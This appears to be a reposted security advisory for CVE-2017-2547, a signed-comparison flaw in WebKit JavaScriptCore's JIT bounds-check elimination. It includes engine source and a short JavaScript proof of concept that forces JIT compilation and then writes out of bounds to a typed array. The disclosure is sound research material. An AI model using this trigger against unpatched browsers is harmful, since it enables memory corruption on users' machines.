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WebKit JSC Jit Optimization Check Failure

Posted on 16 June 2017

WebKit: JSC: JIT optimization check failed in IntegerCheckCombiningPhase::handleBlock CVE-2017-2547 When compiling Javascript code into machine code, bound checks for all accesses to a typed array are also inserted. These bound checks are re-optimized and the unnecessary checks are removed, which is performed by IntegerCheckCombiningPhase::handleBlock. For example, when the following JavaScript code is compiled, there are all bound checks for 8, 5, 2, but after the optimization, the checks for 5 and 2 are removed, and the only check for 8 will remain. function f() { let arr = new Uint32Array(10); for (let i = 0; i < 0x100000; i++) { parseInt(); } arr[8] = 1; arr[5] = 2; arr[2] = 3; } f(); Note: parseInt is for forcing to start the JIT optimization. Here's a snippet IntegerCheckCombiningPhase::handleBlock. void handleBlock(BlockIndex blockIndex) { ... if (range.m_count) { if (data.m_addend > range.m_maxBound) { range.m_maxBound = data.m_addend; range.m_maxOrigin = node->origin.semantic; } else if (data.m_addend < range.m_minBound) { range.m_minBound = data.m_addend; range.m_minOrigin = node->origin.semantic; } ... } The problem is that the check |data.m_addend > range.m_maxBound| is a signed comparison. PoC: function f() { let arr = new Uint32Array(10); for (let i = 0; i < 0x100000; i++) { parseInt(); } arr[8] = 1; arr[-0x12345678] = 2; } f(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt

 

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